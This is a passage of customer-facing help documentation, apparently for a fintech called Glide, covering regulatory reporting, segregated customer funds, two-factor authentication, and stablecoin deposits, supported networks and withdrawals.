## What we report
In some jurisdictions, we're required to report:
* **Threshold reports** — transactions above local-law thresholds (e.g., \$10,000 in cash-equivalent in some jurisdictions).
* **Suspicious activity reports (SARs)** — transactions that meet local-law suspicion criteria.
Filing a SAR doesn't mean you've done something wrong. It means a pattern matched a regulator-defined trigger. We file as required by law and we don't notify you (because the reports are confidential by design, in every jurisdiction).
## What we don't do
* **Don't share your transaction data with adtech, credit bureaus, or commercial counterparties.**
* **Don't sell our anti-fraud signals as a service.**
* **Don't freeze accounts capriciously.** A freeze always has a documented reason and a documented resolution path. You get notified at freeze time with the reason in plain English.
* **Don't deny based on country of birth or nationality.** We deny based on documented compliance criteria (sanctions, country of residence in OFAC-sanctioned territory). Your nationality alone isn't a deny criteria.
## How false positives are handled
Sanctions screening isn't perfect. Common-name false positives (someone shares a name with a sanctioned individual) happen. When they do:
* The transaction holds while we verify identity disambiguation (typically same business day).
* We may ask for a copy of an ID to confirm you're not the sanctioned individual.
* Once confirmed, the transaction releases and the false-positive flag is suppressed for future transactions on the same account.
We track our false-positive rate quarterly and share it in the regulatory snapshot.
## Reporting fraud or unauthorized activity
If you see activity on your account you didn't authorize, report it immediately:
* **In-app** — **Security → Report fraud**. This routes to a dedicated fraud queue.
* **Email** — [security@axtior.com](mailto:security@axtior.com).
* **Phone** — for high-stakes situations, your relationship manager (business accounts) or our 24/7 fraud line (in-app).
Provisional account freeze and credit reversal are typically same-day for clear fraud.
## Next
* [Identity verification](/accounts/identity)
* [Two-factor authentication](/security/two-factor)
* [Data and privacy](/security/data-privacy)
* [Regulatory](/security/regulatory)
# Regulatory
Source: https://glide-9da73dea.mintlify.app/security/regulatory
Glide is regulated as a Money Services Business in five jurisdictions. Annual audits, transaction monitoring, sanctions screening.
Glide operates as a regulated Money Services Business across five jurisdictions, with banking partner relationships in each. Regulatory oversight is the backbone of how we can offer crypto-native banking with traditional-banking-grade safety.
## Where we're regulated
| Jurisdiction | Authority | Registration / Authorization |
| -------------- | ---------------------------- | -------------------------------------------- |
| Canada | FINTRAC | Money Services Business (MSB) Reg. M22060803 |
| United Kingdom | FCA | Authorized partner relationships under EMR |
| European Union | National competent authority | PSD2 / EMI authorization (partner) |
| Hong Kong | HKMA | SVF-licensed partner relationship |
| Singapore | MAS | Payment Services Act licensed (partner) |
The full Glide Finance Limited registration in Canada is at:
> Glide Finance Limited, registered with FINTRAC as a Money Services Business in Canada (Reg. No. M22060803), registered address 398-2416 Main St, Vancouver, BC V5T 3E2, BRN BC1367739.
Equivalent disclosures for each jurisdiction are available on request and in your account's footer per relevant local-law requirements.
## What MSB licensing requires
In every jurisdiction we operate, MSB or equivalent authorization comes with:
* **KYC obligations** — verify the identity of every account holder using a documented framework.
* **AML / sanctions** — screen against global sanctions lists on opening and continuously thereafter; transaction monitoring with documented escalation procedures.
* **Reporting obligations** — suspicious-activity reports filed where applicable; threshold reporting for large transactions per local rules.
* **Segregated-funds posture** — customer funds held outside Glide's working capital, attestable via banking-partner statements and audit.
* **Annual audits** — regulatory audits in addition to our SOC 2 Type 2.
We follow the most strict applicable framework across all jurisdictions, not the loosest. If your account is in a jurisdiction with stricter sanctions screening, the screening applies; if a transaction crosses jurisdictions with different monitoring rules, both apply.
## What regulation means in practice
For you as a user, regulation is the reason:
* We ask for ID at account opening (KYC).
* We screen counterparties on every payment (sanctions).
* We sometimes pause a transaction for review (transaction monitoring).
* We can't serve customers in OFAC-sanctioned countries.
* Some industries (cannabis, gambling) are restricted.
For us as a company, regulation is the reason:
* We have annual audits documented in our SOC 2 reports.
* We can hold banking-partner relationships across jurisdictions.
* Our customer-funds segregation has structural force, not just contractual force.
* We can serve crypto-native businesses other banks reject — because we've done the regulatory analysis to know who's safe to serve and who isn't.
## Regulatory transparency
We publish:
* **Quarterly regulatory snapshot** to current customers (transaction monitoring summaries, sanctions-screening false-positive rates, average KYC turnaround time).
* **Annual SOC 2 Type 2 report** — available to current customers via your relationship manager.
* **Annual transparency report** — aggregated, anonymized: number of accounts, total volume, top corridors, number of regulator-driven account closures, summary reasons. This is published publicly.
If you need a specific regulatory artifact for your auditor, ask your relationship manager. We've packaged the common ones (segregation attestation, AML control walkthrough, sanctions accuracy report) so they're available the same business day.
## What we won't do under regulation
* **Won't share your data with anyone but the regulator.** We comply with regulatory data requests but don't volunteer your data to other counterparties, partners, or law-enforcement agencies outside formal process.
* **Won't freeze your account capriciously.** Account freezes happen when (a) sanctions screening triggers, (b) transaction monitoring escalates, or (c) regulatory request requires. Each freeze is documented; you get a notice with the reason and the resolution path.
* **Won't gold-plate.** We do what regulation requires — not more, not less. We don't add discretionary "features" like reporting your transactions to credit bureaus or sharing your data with adtech.
## Banking partners
The named banking partners are disclosed on request to current customers under NDA. We don't post them publicly because the relationships shift as we add corridors and rebalance for redundancy. The partner *type* (regulated, jurisdiction-equivalent insured, segregated-account-capable) is the durable promise.
## Next
* [Segregated banking](/security/segregated-banking)
* [KYC and AML](/security/kyc-aml)
* [Data and privacy](/security/data-privacy)
# Segregated banking
Source: https://glide-9da73dea.mintlify.app/security/segregated-banking
Customer funds are held 1:1 in segregated accounts at major regulated banking partners. Not pooled, not lent, not part of Glide's balance sheet.
Most fintechs hold customer money pooled in their corporate accounts and use it as working capital. That arrangement makes the customer an unsecured creditor in any insolvency event — meaning if the fintech goes under, you have a claim on Glide-the-company's assets, not on your specific funds.
Glide doesn't work that way.
## How it actually works
For every \$X you hold in your Glide account:
1. **At Glide's banking partners** — \$X sits in a **client-money segregated account** at a major regulated bank in the relevant jurisdiction. The account is legally structured as customer funds, not Glide funds. Glide cannot use this money as collateral, working capital, or for any other purpose.
2. **In our books** — we record it as a customer liability (we owe it to you), with a matched asset (the segregated bank balance representing your share). The two sides reconcile in real time.
3. **In your dashboard** — your displayed balance is your claim on the segregated reserve. The number is enforced against the bank's actual balance, continuously.
For stablecoins, the structure is parallel:
1. Either the underlying tokens sit in **dedicated on-chain custody** (your USDC is your USDC, in a Glide-managed but customer-attributed wallet structure), or in **stablecoin reserve segregated accounts** at our banking partners.
2. Reconciliation runs continuously between on-chain state and your dashboard balance.
## What "1:1" means
For every dollar you see in your dashboard, there is a matching dollar at the banking partner attributed to your account. Not a fractional reserve. Not a pool with reconciliation latency. 1:1, continuously matched.
If the dashboard ever shows a balance that doesn't match the underlying segregated reserve, the dashboard is wrong (and we'd notice in seconds via reconciliation alarms, fix it, and notify the affected accounts).
## Banking partners
Glide's regulatory model spans five jurisdictions, each with its own licensed banking partner relationship:
* **Canada** — FINTRAC-registered MSB, partner relationship with a major Canadian Schedule I bank.
* **United Kingdom** — FCA-authorized partner relationships under the Electronic Money Regulations.
* **European Union** — partner relationships under PSD2 / EMI authorizations.
* **Hong Kong** — SVF-licensed partner relationships under the HKMA framework.
* **Singapore** — MAS-licensed partner relationships under the Payment Services Act.
The specific partner names are disclosed on request to current customers and to regulators. We don't post them publicly because (a) they're commercially sensitive and (b) the partner names can shift over time as we add corridors and rebalance for redundancy. The partner *type* (regulated, jurisdiction-equivalent insured, segregated-account-capable) is the durable promise.
## What we don't do with your money
* **We don't lend it.** Customer balances aren't loaned to other Glide customers, third parties, or back to ourselves. There is no Glide credit business that touches customer deposits.
* **We don't invest it.** Customer balances aren't allocated to yield strategies on our own. The optional treasury yield product (Q2 2026) is opt-in and operates via separate, customer-attributed allocations.
* **We don't pledge it.** Customer balances aren't used as collateral for any Glide corporate financing.
* **We don't hold it offshore for tax purposes.** Funds are held in the jurisdiction matching your account's region, not routed through tax-optimized intermediaries.
## What insolvency would mean
If Glide ever had a corporate-level insolvency event:
* Customer funds held at segregated banking partners are **not part of Glide's bankruptcy estate**. They belong to customers via the partner relationship. A court-supervised distribution would return them to customers without depending on Glide's recovery.
* Customer stablecoin balances held in on-chain custody **don't depend on Glide existing** — the on-chain wallet structure is recoverable independently.
* In-flight transactions in Glide's processing layer at the moment of an insolvency event would be handled per the terms of service. Most rails settle within hours; the in-flight window is small.
This isn't speculation. It's structured into our operating agreements with each banking partner and required by our regulators as a condition of MSB licensing.
## How to verify
* Your relationship manager can walk you through the segregation structure for your specific entity and jurisdiction.
* Our SOC 2 Type 2 report includes the segregation control's attestation.
* Annual regulatory filings in each jurisdiction include segregation-related attestations.
## Next
* [Regulatory](/security/regulatory)
* [KYC and AML](/security/kyc-aml)
* [Stablecoins overview](/stablecoins/overview)
# Two-factor authentication
Source: https://glide-9da73dea.mintlify.app/security/two-factor
Passkeys, biometric step-up, and device attestation. Standard on every account; cannot be disabled below a minimum bar.
Glide treats account security as the floor, not a setting. Every account has multi-factor authentication enabled at signin and biometric or passkey step-up for sensitive actions. You can raise the security bar above the default, but you can't lower it below.
## Defaults
Every Glide account ships with:
* **Email + passkey signin** by default. WebAuthn passkey on web, biometric (Face ID, Touch ID) on mobile.
* **Step-up on every outbound transfer** — biometric or passkey re-prompt before broadcast.
* **Step-up on policy changes** — modifying your envelope, adding a beneficiary, etc.
* **Step-up on agent tool calls** above your envelope threshold.
* **Device attestation** — mobile app on iOS and Android verifies device integrity at signin to detect tampered runtimes.
You don't have to configure any of this. It's the default behavior.
## Adding extra factors
Beyond the default, you can add:
* **Hardware security keys** — YubiKey or any FIDO2-compliant key. Required if you've opted in to enhanced security mode.
* **TOTP authenticator app** — backup factor for situations where your primary device isn't available. Not recommended as a primary factor (passkeys are stronger), but useful as a recovery option.
* **Phone-number SMS verification** — we support this for backup-factor scenarios but **strongly recommend you don't rely on SMS** as a primary factor due to SIM-swap attack vectors.
Configure these at **Settings → Security → Factors**.
## Passkeys vs other factors
Passkeys are the strongest factor we support:
* They're phishing-resistant (the cryptographic challenge is bound to the origin domain).
* They're SIM-swap-resistant (no phone-number dependency).
* They're hardware-backed on modern devices (Secure Enclave on iOS, Strongbox on Android, TPM on Windows).
* They sync across your devices via your platform's keychain (iCloud Keychain, Google Password Manager, 1Password, etc.) so a lost device doesn't lock you out.
Default to passkeys unless you have a specific reason for an alternative.
## Device attestation on mobile
The Glide mobile app on iOS uses Apple's `DCAppAttestService`, and on Android uses Google's Play Integrity API. Both verify that the app is running on a genuine, non-tampered runtime. If the attestation fails (e.g., the app is running on a jailbroken device or in an emulator), some sensitive operations are restricted.
This isn't about preventing all use on rooted/jailbroken devices — it's about ensuring high-stakes operations (large transfers, policy changes) only happen on attested-genuine runtimes. Read-only operations work regardless.
## What step-up actually verifies
Every step-up in the Glide app is a fresh biometric challenge:
* On iOS: Face ID or Touch ID matched against the enrolled biometric.
* On Android: fingerprint or face unlock matched against the device's secure biometric.
* On web: passkey signature against your enrolled passkey, optionally with an additional hardware-key factor if you've enabled one.
The challenge is bound to the specific operation you're approving (the amount, the recipient, the policy change). A captured biometric session can't be replayed to approve a different operation.
## Recovery
If you lose access to your primary factor (e.g., your phone is lost and you don't have iCloud Keychain syncing your passkey to another device), recovery goes through:
1. **Backup factor** — if you've enrolled one (TOTP, hardware key, etc.), use it.
2. **Account recovery flow** — email-link to a verified address, then liveness checks (selfie matched against your KYC photo), then a relationship-manager call for high-stakes accounts.
Recovery typically takes 24–48 hours for personal accounts. Business accounts have a faster path through your relationship manager. We don't do "send password reset to email and you're back in" because account-takeover via email compromise is the most common attack vector.
## Sessions
A signed-in session lasts:
* **Web** — 30 minutes idle, 24 hours absolute. After that, sign back in.
* **Mobile** — biometric re-challenge on app open if >15 minutes since last unlock.
* **API and integrations** — OAuth tokens have shorter TTL (max 60 minutes) and refresh through the standard OAuth flow.
You can see all active sessions at **Settings → Security → Sessions** and force-revoke any of them. Revocation is instant.
## Suspicious-signin alerts
You get a push notification on:
* New device signin.
* Signin from a new country.
* Signin attempt that failed factor challenge.
* Force-revoke of a session.
If something looks wrong, tap the notification to lock the account — one tap freezes all active sessions and triggers a recovery flow.
## Next
* [Data and privacy](/security/data-privacy)
* [KYC and AML](/security/kyc-aml)
* [Step-up approvals (agent banking)](/agents/step-up)
# Stablecoins
Source: https://glide-9da73dea.mintlify.app/stablecoins/overview
Deposit USDC and USDT on-chain, hold them alongside fiat, convert in seconds, withdraw to any wallet you control.
Glide treats stablecoins as a first-class balance, not an exotic side feature. Your USDC and USDT live in your dashboard next to your USD, EUR, and GBP. You convert between them with one tap. You spend either with the same Visa card.
## Why stablecoins
For some people, stablecoins are how they get paid. Crypto-native companies, freelancers working with global clients, and anyone moving money across borders that don't have great banking corridors all benefit from a balance that:
* Settles in seconds, not days.
* Costs cents in network fees, not 3–5% in remittance margins.
* Works the same way in every country.
Glide bridges that on-chain liquidity to a regulated bank account, a Visa card, and 80+ currencies of fiat conversion. You don't have to choose between crypto-native and bank-grade.
## What you can do
Send USDC or USDT to your Glide deposit address. Settled in seconds.
Tap convert to swap stablecoin to fiat (or any direction) at the live rate.
Spend stablecoin balances directly with your Visa card. Auto-converts at point-of-sale.
Send to any external wallet you control. Network gas only.
## Supported assets
Glide supports the following stablecoins on the chains listed in [Supported networks](/stablecoins/supported-networks):
* **USDC** — Circle's USD-pegged stablecoin. Most liquid, lowest fees on most chains, primary recommended deposit asset.
* **USDT** — Tether's USD-pegged stablecoin. Widely supported across chains; we accept it on the chains where compliance permits.
* **Other USD stablecoins** — we add new assets as they meet our compliance criteria. See the in-dashboard list at **Deposit → From crypto wallet** for the current set.
We do not custody volatile crypto-assets — no BTC, ETH, SOL, or non-stablecoin tokens are held on Glide. The stablecoin support is specifically about USD-pegged liquidity.
## Holding vs converting
When you deposit USDC, it stays as USDC unless you convert it. Your dashboard balance shows your stablecoin holdings separately from your fiat balances, so you always know exactly what you have.
If you'd rather auto-convert every stablecoin deposit to fiat the moment it lands, enable **Settings → Stablecoins → Auto-convert on deposit** and pick a target fiat currency. Useful if you only use the stablecoin rail to receive money and want everything as USD or EUR by default.
## Spending from a stablecoin balance
Your Glide card pulls from the right balance automatically. If you have USDC and the merchant charges in USD, we settle from USDC at parity. If you have USDC and the merchant charges in EUR, we convert at the mid-market rate. Either way, the experience at the terminal is the same as any other card.
## Your stablecoins are not commingled
The USDC you hold is held in dedicated custody on-chain or via Glide's banking partners' segregated stablecoin reserves — never pooled with other customers' deposits, never lent out. See [Segregated banking](/security/segregated-banking).
## Next
* [Supported networks](/stablecoins/supported-networks)
* [Withdrawals](/stablecoins/withdrawals)
* [Deposits](/money/deposits)
# Supported networks
Source: https://glide-9da73dea.mintlify.app/stablecoins/supported-networks
The chains and assets we accept for deposits and withdrawals.
Glide accepts stablecoin deposits and withdrawals on multiple chains. Pick the chain that's cheapest and fastest for you; the dashboard shows the deposit address for each network you've enabled.
## Chains we support
| Network | Confirmation time | Typical gas (USDC send) | Notes |
| ------------ | ----------------- | ----------------------- | ------------------------------------------------------ |
| **Solana** | \<5 seconds | \<\$0.01 | Fastest and cheapest. Recommended for most deposits. |
| **Base** | 1–3 seconds | $0.01–$0.10 | Coinbase's L2; great for moderate-frequency moves. |
| **Polygon** | 2–5 seconds | $0.01–$0.05 | Wide wallet support, low fees. |
| **Ethereum** | 1–3 minutes | $1–$10 | Use only when the source wallet doesn't support an L2. |
| **Arbitrum** | 1–5 seconds | $0.05–$0.50 | Strong DEX liquidity, low fees. |
| **Optimism** | 1–5 seconds | $0.05–$0.50 | Coinbase-aligned L2 ecosystem. |
We add new chains as they reach the maturity bar we set for stablecoin custody. The current full list is in your dashboard under **Deposit → From crypto wallet**.
## Picking the right network
For most users, **Solana** or **Base** are the right choice. They settle in seconds, cost less than a cent, and both have wide USDC support across exchanges and wallets.
Use **Ethereum mainnet** only if your source wallet doesn't support an L2. The gas cost is 10–100x higher and confirmation is slower; there's no benefit to mainnet for sending USDC if you have an alternative.
## Send only the right asset to the right address
Glide generates a deposit address per network. Each address accepts only the stablecoins we support **on that specific network**.
Sending the wrong asset to a deposit address may result in **permanent loss**. Sending on the wrong network (e.g., a Solana USDC address with an Ethereum USDC transfer) means the deposit can take days to recover — and on some chain combinations, recovery isn't possible.
Always verify:
1. The asset (USDC vs USDT vs another stablecoin).
2. The network (Solana vs Ethereum vs Base, etc.).
Both must match the address Glide showed you.
## What we don't accept
* **Non-stablecoin assets.** BTC, ETH, SOL, and other volatile cryptocurrencies are not accepted at Glide deposit addresses. If you send these, they're not credited; recovery requires a manual support ticket and may take weeks.
* **Wrapped or bridged tokens with non-canonical issuers.** We accept only canonical USDC (Circle-issued) and canonical USDT (Tether-issued). Bridged variants from non-trusted issuers are not credited.
* **Privacy-rail funds.** Funds that came through a sanctioned mixer or tumbler will be flagged on deposit and held pending review. See [Sanctions screening](/security/kyc-aml).
## Network outages
Blockchain networks occasionally have outages or congestion that delays settlement. If a network we support is down, you'll see a banner on the deposit screen with the current status and an estimated resumption time. Choose a different network in the meantime.
## Next
* [Stablecoins overview](/stablecoins/overview)
* [Withdrawals](/stablecoins/withdrawals)
* [Deposits](/money/deposits)
# Withdrawals
Source: https://glide-9da73dea.mintlify.app/stablecoins/withdrawals
Send your stablecoins to any external wallet you control. Network gas only; no fee from Glide.
You can withdraw your stablecoin balance to any external wallet at any time. There's no Glide fee on withdrawals; you pay only the network gas required to broadcast the transaction.
## Withdraw a stablecoin
From the dashboard, tap **Send → Stablecoin transfer**.
Choose the stablecoin (USDC or USDT) and the network you want to withdraw on. The dashboard shows your balance per asset and per network.
Enter the wallet address you want to send to. Glide validates the address checksum and warns if the network looks wrong.
First-time withdrawals to a new address require step-up verification (Face ID, passkey, or your two-factor method). Subsequent sends to the same address skip the step-up unless your security settings require it every time.
See:
* The amount you're sending.
* The network gas cost in USD-equivalent.
* The arrival amount at the destination.
* The expected confirmation time for the chosen network.
Tap **Confirm**. The transaction broadcasts; you can track the on-chain hash in the dashboard right after.
## How long it takes
| Network | Confirmation time |
| -------- | ----------------- |
| Solana | \<5 seconds |
| Base | 1–3 seconds |
| Polygon | 2–5 seconds |
| Arbitrum | 1–5 seconds |
| Optimism | 1–5 seconds |
| Ethereum | 1–3 minutes |
Fully on-chain finality (the point past which a re-org is essentially impossible) takes a bit longer on some chains. Most exchanges and DeFi protocols will credit your withdrawal as soon as the first confirmation lands.
## Withdrawal limits
Withdrawal limits follow your account tier. See [Limits and fees](/money/limits-and-fees) for the table.
For very large withdrawals (above your standard tier), you'll trigger an enhanced-review flow that asks for a quick confirmation by email or relationship-manager call. Most large withdrawals clear within an hour of the confirmation.
## Withdrawals to flagged addresses
Glide screens every withdrawal destination against on-chain analytics. If the destination address is associated with a sanctioned entity, mixer, or known fraud cluster, the withdrawal is held pending review. You'll see a clear message explaining why; we follow up by email with whatever next-step you need.
This is not a "we'll randomly block you" pattern. We block fewer than 0.1% of withdrawals, and almost all of those are obvious match-ups against published sanctions lists.
## What we don't do
* **No reversible withdrawals.** Once you confirm, the transaction broadcasts. Glide can't pull it back. If you sent to the wrong address, recovery is on the receiving side, not on us.
* **No internal-only stablecoin transfers.** If you want to send to another Glide user, use [Glide-to-Glide transfers](/money/send) instead — faster and free.
* **No fee tier discounts.** Network gas is what it is. We don't pad the gas estimate; you see the actual market rate.
## Network outages
If the network you've selected is down or massively congested, the dashboard shows a banner with the current status. Choose a different network if your destination supports one.
## Next
* [Stablecoins overview](/stablecoins/overview)
* [Supported networks](/stablecoins/supported-networks)
* [Send money](/money/send)